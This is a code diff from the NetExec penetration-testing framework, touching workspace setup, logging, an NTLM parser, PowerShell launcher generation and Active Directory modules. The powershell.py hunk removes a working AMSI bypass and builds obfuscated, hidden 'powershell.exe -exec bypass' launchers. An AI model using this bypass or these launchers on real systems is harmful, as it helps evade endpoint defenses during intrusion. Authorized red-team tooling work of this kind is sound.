+    print(f"[*] Workspace set to {workspace_name}")
+
+
+def get_db(config):
+    return config.get("nxc", "last_used_db")
+
+
+def write_configfile(config, config_path):
+    with open(config_path, "w") as configfile:
+        config.write(configfile)
+
+
+def create_workspace(workspace_name, p_loader=None):
+    """
+    Create a new workspace with the given name.
+
+    Args:
+    ----
+        workspace_name (str): The name of the workspace.
+
+    Returns:
+    -------
+        None
+    """
+    if exists(path_join(WORKSPACE_DIR, workspace_name)):
+        print(f"[-] Workspace {workspace_name} already exists")
+    else:
+        print(f"[*] Creating {workspace_name} workspace")
+        mkdir(path_join(WORKSPACE_DIR, workspace_name))
+    
+    if p_loader is None:
+        p_loader = ProtocolLoader()
+    protocols = p_loader.get_protocols()
+
+    for protocol in protocols:
+        protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
+        proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
+
+        if not exists(proto_db_path):
+            print(f"[*] Initializing {protocol.upper()} protocol database")
+            conn = connect(proto_db_path)
+            c = conn.cursor()
+
+            # try to prevent some weird sqlite I/O errors
+            c.execute("PRAGMA journal_mode = OFF")
+            c.execute("PRAGMA foreign_keys = 1")
+
+            protocol_object.database.db_schema(c)
+
+            # commit the changes and close everything off
+            conn.commit()
+            conn.close()
+
+
+def delete_workspace(workspace_name):
+    shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name))
+    print(f"[*] Workspace {workspace_name} deleted")
+
+
+def initialize_db():
+    if not exists(path_join(WORKSPACE_DIR, "default")):
+        create_workspace("default")

nxc/first_run.py

@@ -3,7 +3,7 @@ from os.path import exists
 from os.path import join as path_join
 import shutil
 from nxc.paths import NXC_PATH, CONFIG_PATH, TMP_PATH, DATA_PATH
-from nxc.nxcdb import initialize_db
+from nxc.database import initialize_db
 from nxc.logger import nxc_logger
 
 
@@ -29,7 +29,7 @@ def first_run_setup(logger=nxc_logger):
             logger.display(f"Creating missing folder {folder}")
             mkdir(path_join(NXC_PATH, folder))
 
-    initialize_db(logger)
+    initialize_db()
 
     if not exists(CONFIG_PATH):
         logger.display("Copying default configuration file")

nxc/helpers/args.py

@@ -0,0 +1,10 @@
+from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
+
+class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
+    def _get_help_string(self, action):
+        help_string = action.help
+        if "%(default)" not in action.help and action.default is not SUPPRESS:
+            defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
+            if (action.option_strings or action.nargs in defaulting_nargs) and action.default:  # Only add default info if it's not None
+                help_string += " (default: %(default)s)"  # NORUFF
+        return help_string

nxc/helpers/bloodhound.py

@@ -52,14 +52,12 @@ def add_user_bh(user, domain, logger, config):
                         _add_with_domain(user_info, domain, tx, logger)
         except AuthError:
             logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
-            return
         except ServiceUnavailable:
             logger.fail(f"Neo4J does not seem to be available on {uri}.")
-            return
         except Exception as e:
             logger.fail(f"Unexpected error with Neo4J: {e}")
-            return
-        driver.close()
+        finally:
+            driver.close()
 
 
 def _add_with_domain(user_info, domain, tx, logger):

nxc/helpers/ntlm_parser.py

@@ -0,0 +1,34 @@
+# Original from here: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
+
+import struct
+
+from impacket import ntlm
+from impacket.smb3 import WIN_VERSIONS
+import contextlib
+
+
+def parse_challenge(challange):
+    target_info = {
+        "hostname": None,
+        "domain": None,
+        "os_version": None
+    }
+    challange = ntlm.NTLMAuthChallenge(challange)
+    av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
+    if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
+        with contextlib.suppress(Exception):
+            target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
+    if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
+        with contextlib.suppress(Exception):
+            target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
+    if "Version" in challange.fields:
+        version = challange["Version"]
+        if len(version) >= 4:
+            major_version = version[0]
+            minor_version = version[1]
+            product_build = struct.unpack("<H", version[2:4])[0]
+            if product_build in WIN_VERSIONS:
+                target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
+            else:
+                target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
+    return target_info

nxc/helpers/powershell.py

@@ -12,6 +12,20 @@ import random
 
 obfuscate_ps_scripts = False
 
+def replace_singles(s):
+    """Replaces single quotes with a double quote
+    We do this because quoting is very important in PowerShell, and we are doing multiple layers:
+    Python, MSSQL, and PowerShell. We want to make sure that the command is properly quoted at each layer.
+
+    Args:
+    ----
+        s (str): The string to replace single quotes in.
+
+    Returns:
+    -------
+        str: Original string with single quotes replaced with double.
+    """
+    return s.replace("'", r"\"")
 
 def get_ps_script(path):
     """Generates a full path to a PowerShell script given a relative path.
@@ -108,91 +122,66 @@ def obfs_ps_script(path_to_script):
 
 
 
-def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None):
+def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
     """
     Generates a PowerShell command based on the provided `ps_command` parameter.
 
     Args:
     ----
         ps_command (str): The PowerShell command to be executed.
-
         force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False.
-
-        dont_obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
-
+        obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
         custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None.
+        encode (bool, optional): Whether to encode the generated command (executed via -enc in PS). Defaults to True.
 
     Returns:
     -------
         str: The generated PowerShell command.
     """
+    nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
+    
     if custom_amsi:
+        nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
         with open(custom_amsi) as file_in:
             lines = list(file_in)
             amsi_bypass = "".join(lines)
     else:
-        amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
-try{
-[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
-}catch{}
-"""
-
-    command = amsi_bypass + f"\n$functions = {{\n    function Command-ToExecute\n    {{\n{amsi_bypass + ps_command}\n    }}\n}}\nif ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')\n{{\n    $job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32\n    $job | Wait-Job\n}}\nelse\n{{\n    IEX \"$functions\"\n    Command-ToExecute\n}}\n" if force_ps32 else amsi_bypass + ps_command
+        amsi_bypass = ""
 
+    # for readability purposes, we do not do a one-liner
+    if force_ps32:  # noqa: SIM108
+        # https://stackoverflow.com/a/60155248
+        command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
+    else:
+        command = f"{amsi_bypass} {ps_command}"
+    
     nxc_logger.debug(f"Generated PS command:\n {command}\n")
 
-    # We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
-    # concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
-    # of dealing with this  it will use the partial python implementation that I stole from GreatSCT
-    # (https://github.com/GreatSCT/GreatSCT) <3
-
-    """
-    if is_powershell_installed():
-
-        temp = tempfile.NamedTemporaryFile(prefix='nxc_',
-                                           suffix='.ps1',
-                                           dir='/tmp')
-        temp.write(command)
-        temp.read()
-
-        encoding_types = [1,2,3,4,5,6]
-        while True:
-            encoding = random.choice(encoding_types)
-            invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
-                                                                                                                                              temp.name,
-                                                                                                                                              encoding)
-            nxc_logger.debug(invoke_obfs_command)
-            out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()
-
-            command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
-            nxc_logger.debug('Command length: {}'.format(len(command)))
-
-            if len(command) <= 8192:
-                temp.close()
-                break
-
-            encoding_types.remove(encoding)
-    
-    else:
-    """
-    if not dont_obfs:
+    if obfs:
+        nxc_logger.debug("Obfuscating PowerShell command")
         obfs_attempts = 0
         while True:
-            command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{invoke_obfuscation(command)}"'
+            nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
+            obfs_command = invoke_obfuscation(command)
+            
+            command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
             if len(command) <= 8191:
                 break
-
             if obfs_attempts == 4:
                 nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
                 exit(1)
-
+            nxc_logger.debug(f"Obfuscation length too long with {len(command)}, trying again...")
             obfs_attempts += 1
     else:
-        command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}"
+        # if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
+        command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
+        command = f"powershell.exe -noni -nop -w 1 {command}"
+        
         if len(command) > 8191:
             nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
             exit(1)
-
+            
+    nxc_logger.debug(f"Final command: {command}")
     return command
 
 
@@ -320,6 +309,7 @@ def invoke_obfuscation(script_string):
     -------
         str: The obfuscated payload for execution.
     """
+    nxc_logger.debug(f"Command before obfuscation: {script_string}")
     random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase)
     random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)]
 
@@ -436,5 +426,7 @@ def invoke_obfuscation(script_string):
         choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression,
     ]
 
-    return choice(invoke_options)
+    obfuscated_script = choice(invoke_options)
+    nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
+    return obfuscated_script
 

nxc/loaders/moduleloader.py

@@ -24,6 +24,9 @@ class ModuleLoader:
         if not hasattr(module, "name"):
             self.logger.fail(f"{module_path} missing the name variable")
             module_error = True
+        elif hasattr(module, "name") and module.name != module_path.split("/")[-1].split("\\")[-1][:-3]:
+            self.logger.fail(f"{module_path} filename must match the module name {module.name}")
+            module_error = True
         elif not hasattr(module, "description"):
             self.logger.fail(f"{module_path} missing the description variable")
             module_error = True
@@ -92,7 +95,7 @@ class ModuleLoader:
             module_spec = spec.loader.load_module().NXCModule
 
             module = {
-                f"{module_spec.name.lower()}": {
+                f"{module_spec.name}": {
                     "path": module_path,
                     "description": module_spec.description,
                     "options": module_spec.options.__doc__,

nxc/logger.py

@@ -4,12 +4,79 @@ from logging.handlers import RotatingFileHandler
 import os.path
 import sys
 import re
-from nxc.helpers.misc import called_from_cmd_args
 from nxc.console import nxc_console
 from termcolor import colored
 from datetime import datetime
 from rich.text import Text
 from rich.logging import RichHandler
+import functools
+import inspect
+import argparse
+
+
+def parse_debug_args():
+    debug_parser = argparse.ArgumentParser(add_help=False)
+    debug_parser.add_argument("--debug", action="store_true")
+    debug_parser.add_argument("--verbose", action="store_true")
+    args, _ = debug_parser.parse_known_args()
+    return args
+
+def setup_debug_logging():
+    debug_args = parse_debug_args()
+    root_logger = logging.getLogger("root")
+    
+    if debug_args.verbose:
+        nxc_logger.logger.setLevel(logging.INFO)
+        root_logger.setLevel(logging.INFO)
+    elif debug_args.debug:
+        nxc_logger.logger.setLevel(logging.DEBUG)
+        root_logger.setLevel(logging.INFO)
+    else:
+        nxc_logger.logger.setLevel(logging.ERROR)
+        root_logger.setLevel(logging.ERROR)
+        
+
+def create_temp_logger(caller_frame, formatted_text, args, kwargs):
+    """Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
+    temp_logger = logging.getLogger("temp")
+    formatter = logging.Formatter("%(message)s", datefmt="[%X]")
+    handler = SmartDebugRichHandler(formatter=formatter)
+    handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, kwargs, caller_frame=caller_frame))
+
+
+class SmartDebugRichHandler(RichHandler):
+    """Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
+    def __init__(self, formatter=None, *args, **kwargs):
+        super().__init__(*args, **kwargs)
+        if formatter is not None:
+            self.setFormatter(formatter)
+            
+    def emit(self, record):
+        """Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
+        # for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging
+        record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text
+        
+        if hasattr(record, "caller_frame"):
+            frame_info = inspect.getframeinfo(record.caller_frame)
+            record.pathname = frame_info.filename
+            record.lineno = frame_info.lineno
+        super().emit(record)
+
+def no_debug(func):
+    """Stops logging non-debug messages when we are in debug mode
+    It creates a temporary logger and logs the message to the console and file
+    This is so we don't get both normal output AND debugging output, AND so we get the proper log calling file & line number
+    """
+    @functools.wraps(func)
+    def wrapper(self, msg, *args, **kwargs):
+        if self.logger.getEffectiveLevel() >= logging.INFO:
+            return func(self, msg, *args, **kwargs)
+        else:            
+            formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
+            caller_frame = inspect.currentframe().f_back
+            create_temp_logger(caller_frame, formatted_text, args, kwargs)
+            self.log_console_to_file(formatted_text, *args, **kwargs)
+    return wrapper
 
 
 class NXCAdapter(logging.LoggerAdapter):
@@ -17,21 +84,22 @@ class NXCAdapter(logging.LoggerAdapter):
         logging.basicConfig(
             format="%(message)s",
             datefmt="[%X]",
-            handlers=[
-                RichHandler(
-                    console=nxc_console,
-                    rich_tracebacks=True,
-                    tracebacks_show_locals=False,
-                )
-            ],
+            handlers=[RichHandler(
+                console=nxc_console,
+                rich_tracebacks=True,
+                tracebacks_show_locals=False
+            )],
         )
         self.logger = logging.getLogger("nxc")
         self.extra = extra
         self.output_file = None
-
+        
+        logging.getLogger("impacket").disabled = True
         logging.getLogger("pypykatz").disabled = True
         logging.getLogger("minidump").disabled = True
         logging.getLogger("lsassy").disabled = True
+        logging.getLogger("dploot").disabled = True
+        logging.getLogger("neo4j").setLevel(logging.ERROR)
 
     def format(self, msg, *args, **kwargs):  # noqa: A003
         """Format msg for output
@@ -41,77 +109,49 @@ class NXCAdapter(logging.LoggerAdapter):
         if self.extra is None:
             return f"{msg}", kwargs
 
-        if "module_name" in self.extra and len(self.extra["module_name"]) > 8:
+        if "module_name" in self.extra and len(self.extra["module_name"]) > 11:
             self.extra["module_name"] = self.extra["module_name"][:8] + "..."
 
         # If the logger is being called when hooking the 'options' module function
         if len(self.extra) == 1 and ("module_name" in self.extra):
-            return (
-                f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}",
-                kwargs,
-            )
+            return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs)
 
         # If the logger is being called from nxcServer
         if len(self.extra) == 2 and ("module_name" in self.extra) and ("host" in self.extra):
-            return (
-                f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}",
-                kwargs,
-            )
+            return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", kwargs)
 
         # If the logger is being called from a protocol
         module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
 
-        return (
-            f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}",
-            kwargs,
-        )
+        return (f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs)
 
+    @no_debug
     def display(self, msg, *args, **kwargs):
         """Display text to console, formatted for nxc"""
-        try:
-            if self.extra and "protocol" in self.extra and not called_from_cmd_args():
-                return
-        except AttributeError:
-            pass
-
         msg, kwargs = self.format(f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs)
         text = Text.from_ansi(msg)
         nxc_console.print(text, *args, **kwargs)
         self.log_console_to_file(text, *args, **kwargs)
 
+    @no_debug
     def success(self, msg, color="green", *args, **kwargs):
-        """Print some sort of success to the user"""
-        try:
-            if self.extra and "protocol" in self.extra and not called_from_cmd_args():
-                return
-        except AttributeError:
-            pass
-
+        """Prints some sort of success to the user"""
         msg, kwargs = self.format(f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs)
         text = Text.from_ansi(msg)
         nxc_console.print(text, *args, **kwargs)
         self.log_console_to_file(text, *args, **kwargs)
 
+    @no_debug
     def highlight(self, msg, *args, **kwargs):
         """Prints a completely yellow highlighted message to the user"""
-        try:
-            if self.extra and "protocol" in self.extra and not called_from_cmd_args():
-                return
-        except AttributeError:
-            pass
-
         msg, kwargs = self.format(f"{colored(msg, 'yellow', attrs=['bold'])}", kwargs)
         text = Text.from_ansi(msg)
         nxc_console.print(text, *args, **kwargs)
         self.log_console_to_file(text, *args, **kwargs)
 
+    @no_debug
     def fail(self, msg, color="red", *args, **kwargs):
         """Prints a failure (may or may not be an error) - e.g. login creds didn't work"""
-        try:
-            if self.extra and "protocol" in self.extra and not called_from_cmd_args():
-                return
-        except AttributeError:
-            pass
         msg, kwargs = self.format(f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs)
         text = Text.from_ansi(msg)
         nxc_console.print(text, *args, **kwargs)
@@ -123,26 +163,12 @@ class NXCAdapter(logging.LoggerAdapter):
         If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
         so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
         """
-        if self.logger.getEffectiveLevel() >= logging.INFO:
-            # will be 0 if it's just the console output, so only do this if we actually have file loggers
-            if len(self.logger.handlers):
-                try:
-                    for handler in self.logger.handlers:
-                        handler.handle(
-                            LogRecord(
-                                "nxc",
-                                20,
-                                "",
-                                kwargs,
-                                msg=text,
-                                args=args,
-                                exc_info=None,
-                            )
-                        )
-                except Exception as e:
-                    self.logger.fail(f"Issue while trying to custom print handler: {e}")
-        else:
-            self.logger.info(text)
+        if self.logger.getEffectiveLevel() >= logging.INFO and len(self.logger.handlers):  # will be 0 if it's just the console output, so only do this if we actually have file loggers
+            try:
+                for handler in self.logger.handlers:
+                    handler.handle(LogRecord("nxc", 20, "", kwargs, msg=text, args=args, exc_info=None))
+            except Exception as e:
+                self.logger.fail(f"Issue while trying to custom print handler: {e}")
 
     def add_file_log(self, log_file=None):
         file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
@@ -176,7 +202,7 @@ class NXCAdapter(logging.LoggerAdapter):
             datetime.now().strftime("%Y-%m-%d"),
             f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
         )
-
+    
 
 class TermEscapeCodeFormatter(logging.Formatter):
     """A class to strip the escape codes for logging to files"""

nxc/modules/adcs.py

@@ -27,7 +27,6 @@ class NXCModule:
         SERVER             PKI Enrollment Server to enumerate templates for. Default is None, use CN name
         BASE_DN            The base domain name for the LDAP query
         """
-        self.context = context
         self.regex = re.compile("(https?://.+)")
 
         self.server = None
@@ -39,6 +38,7 @@ class NXCModule:
 
     def on_login(self, context, connection):
         """On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
+        self.context = context
         if self.server is None:
             search_filter = "(objectClass=pKIEnrollmentService)"
         else:

nxc/modules/add-computer.py

@@ -1,8 +1,8 @@
 import ssl
 import ldap3
-from impacket.dcerpc.v5 import samr, epm, transport
 import sys
-
+from impacket.dcerpc.v5 import samr, epm, transport
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
 
 class NXCModule:
     """
@@ -41,6 +41,7 @@ class NXCModule:
 
         if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
             context.log.error("NAME  and PASSWORD options are required!")
+            sys.exit(1)
         elif "CHANGEPW" in module_options:
             self.__noAdd = True
 
@@ -61,11 +62,10 @@ class NXCModule:
     def on_login(self, context, connection):
         self.__domain = connection.domain
         self.__domainNetbios = connection.domain
-        self.__kdcHost = connection.hostname + "." + connection.domain
-        self.__target = self.__kdcHost
+        self.__kdcHost = connection.kdcHost
         self.__username = connection.username
         self.__password = connection.password
-        self.__targetIp = connection.host
+        self.__host = connection.host
         self.__port = context.smb_server_port
         self.__aesKey = context.aesKey
         self.__hashes = context.hash
@@ -87,8 +87,7 @@ class NXCModule:
         # If SAMR fails now try over LDAPS
         if not self.noLDAPRequired:
             self.do_ldaps_add(connection, context)
-        else:
-            sys.exit(1)
+            
 
     def do_samr_add(self, context):
         """
@@ -102,15 +101,10 @@ class NXCModule:
         -------
             None
         """
-        target = self.__targetIp or self.__target
-        string_binding = epm.hept_map(target, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
+        string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
 
-        rpc_transport = transport.DCERPCTransportFactory(string_binding)
-        rpc_transport.set_dport(self.__port)
-
-        if self.__targetIp is not None:
-            rpc_transport.setRemoteHost(self.__targetIp)
-            rpc_transport.setRemoteName(self.__target)
+        rpc_transport = transport.DCERPCTransportFactory(string_binding.replace(self.__host, self.__kdcHost))
+        rpc_transport.setRemoteHost(self.__host)
 
         if hasattr(rpc_transport, "set_credentials"):
             # This method exists only for selected protocol sequences.
@@ -119,10 +113,13 @@ class NXCModule:
         rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
 
         dce = rpc_transport.get_dce_rpc()
+        if self.__doKerberos:
+            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+
         dce.connect()
         dce.bind(samr.MSRPC_UUID_SAMR)
 
-        samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__target}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
+        samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
         serv_handle = samr_connect_response["ServerHandle"]
 
         samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
@@ -178,7 +175,6 @@ class NXCModule:
                     samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
                     self.noLDAPRequired = True
                     context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
-                    sys.exit(1)
                 except samr.DCERPCSessionError as e:
                     if e.error_code != 0xC0000073:
                         raise

nxc/modules/bh_owned.py

@@ -1,87 +0,0 @@
-# Author:
-#  Romain Bentz (pixis - @hackanddo)
-# Website:
-#  https://beta.hackndo.com [FR]
-#  https://en.hackndo.com [EN]
-
-import sys
-from neo4j import GraphDatabase
-from neo4j.exceptions import AuthError, ServiceUnavailable
-
-
-class NXCModule:
-    name = "bh_owned"
-    description = "Set pwned computer as owned in Bloodhound"
-    supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def __init__(self, context=None, module_options=None):
-        self.context = context
-        self.module_options = module_options
-        self.neo4j_pass = None
-        self.neo4j_user = None
-        self.neo4j_Port = None
-        self.neo4j_URI = None
-
-    def options(self, context, module_options):
-        """
-        URI            URI for Neo4j database (default: 127.0.0.1)
-        PORT           Listening port for Neo4j database (default: 7687)
-        USER           Username for Neo4j database (default: 'neo4j')
-        PASS           Password for Neo4j database (default: 'neo4j')
-        """
-        self.neo4j_URI = "127.0.0.1"
-        self.neo4j_Port = "7687"
-        self.neo4j_user = "neo4j"
-        self.neo4j_pass = "neo4j"
-
-        if module_options and "URI" in module_options:
-            self.neo4j_URI = module_options["URI"]
-        if module_options and "PORT" in module_options:
-            self.neo4j_Port = module_options["PORT"]
-        if module_options and "USER" in module_options:
-            self.neo4j_user = module_options["USER"]
-        if module_options and "PASS" in module_options:
-            self.neo4j_pass = module_options["PASS"]
-
-    def on_admin_login(self, context, connection):
-        domain = connection.conn.getServerDNSDomainName() if context.local_auth else connection.domain
-
-        host_fqdn = f"{connection.hostname}.{domain}".upper()
-        uri = f"bolt://{self.neo4j_URI}:{self.neo4j_Port}"
-        context.log.debug(f"Neo4j URI: {uri}")
-        context.log.debug(f"User: {self.neo4j_user}, Password: {self.neo4j_pass}")
-
-        try:
-            driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False)
-        except AuthError:
-            context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are not valid. See --options")
-            sys.exit()
-        except ServiceUnavailable:
-            context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
-            sys.exit()
-        except Exception as e:
-            context.log.fail("Unexpected error with Neo4J")
-            context.log.debug(f"Error {e}: ")
-            sys.exit()
-
-        with driver.session() as session:
-            try:
-                with session.begin_transaction() as tx:
-                    result = tx.run(f"MATCH (c:Computer {{name:{host_fqdn}}}) SET c.owned=True RETURN c.name AS name")
-                    record = result.single()
-                    try:
-                        value = record.value()
-                    except AttributeError:
-                        value = []
-            except ServiceUnavailable as e:
-                context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
-                context.log.debug(f"Error {e}: ")
-                driver.close()
-                sys.exit()
-        if len(value) > 0:
-            context.log.success(f"Node {host_fqdn} successfully set as owned in BloodHound")
-        else:
-            context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you imported the correct data?")
-        driver.close()

nxc/modules/daclread.py

@@ -65,7 +65,7 @@ WELL_KNOWN_SIDS = {
     "S-1-5-64-14": "SChannel Authentication",
     "S-1-5-64-21": "Digest Authority",
     "S-1-5-80": "NT Service",
-    "S-1-5-83-0": "NT VIRTUAL MACHINE\Virtual Machines",
+    "S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
     "S-1-16-0": "Untrusted Mandatory Level",
     "S-1-16-4096": "Low Mandatory Level",
     "S-1-16-8192": "Medium Mandatory Level",
@@ -74,24 +74,24 @@ WELL_KNOWN_SIDS = {
     "S-1-16-16384": "System Mandatory Level",
     "S-1-16-20480": "Protected Process Mandatory Level",
     "S-1-16-28672": "Secure Process Mandatory Level",
-    "S-1-5-32-554": "BUILTIN\Pre-Windows 2000 Compatible Access",
-    "S-1-5-32-555": "BUILTIN\Remote Desktop Users",
-    "S-1-5-32-557": "BUILTIN\Incoming Forest Trust Builders",
+    "S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
+    "S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
+    "S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
     "S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
-    "S-1-5-32-558": "BUILTIN\Performance Monitor Users",
-    "S-1-5-32-559": "BUILTIN\Performance Log Users",
-    "S-1-5-32-560": "BUILTIN\Windows Authorization Access Group",
-    "S-1-5-32-561": "BUILTIN\Terminal Server License Servers",
-    "S-1-5-32-562": "BUILTIN\Distributed COM Users",
-    "S-1-5-32-569": "BUILTIN\Cryptographic Operators",
-    "S-1-5-32-573": "BUILTIN\Event Log Readers",
-    "S-1-5-32-574": "BUILTIN\Certificate Service DCOM Access",
-    "S-1-5-32-575": "BUILTIN\RDS Remote Access Servers",
-    "S-1-5-32-576": "BUILTIN\RDS Endpoint Servers",
-    "S-1-5-32-577": "BUILTIN\RDS Management Servers",
-    "S-1-5-32-578": "BUILTIN\Hyper-V Administrators",
-    "S-1-5-32-579": "BUILTIN\Access Control Assistance Operators",
-    "S-1-5-32-580": "BUILTIN\Remote Management Users",
+    "S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
+    "S-1-5-32-559": "BUILTIN\\Performance Log Users",
+    "S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
+    "S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
+    "S-1-5-32-562": "BUILTIN\\Distributed COM Users",
+    "S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
+    "S-1-5-32-573": "BUILTIN\\Event Log Readers",
+    "S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
+    "S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
+    "S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
+    "S-1-5-32-577": "BUILTIN\\RDS Management Servers",
+    "S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
+    "S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
+    "S-1-5-32-580": "BUILTIN\\Remote Management Users",
 }
 
 
@@ -221,8 +221,6 @@ class NXCModule:
 
         Based on the work of @_nwodtuhs and @BlWasp_.
         """
-        self.context = context
-
         context.log.debug(f"module_options: {module_options}")
 
         if not module_options:
@@ -273,6 +271,7 @@ class NXCModule:
         self.filename = None
 
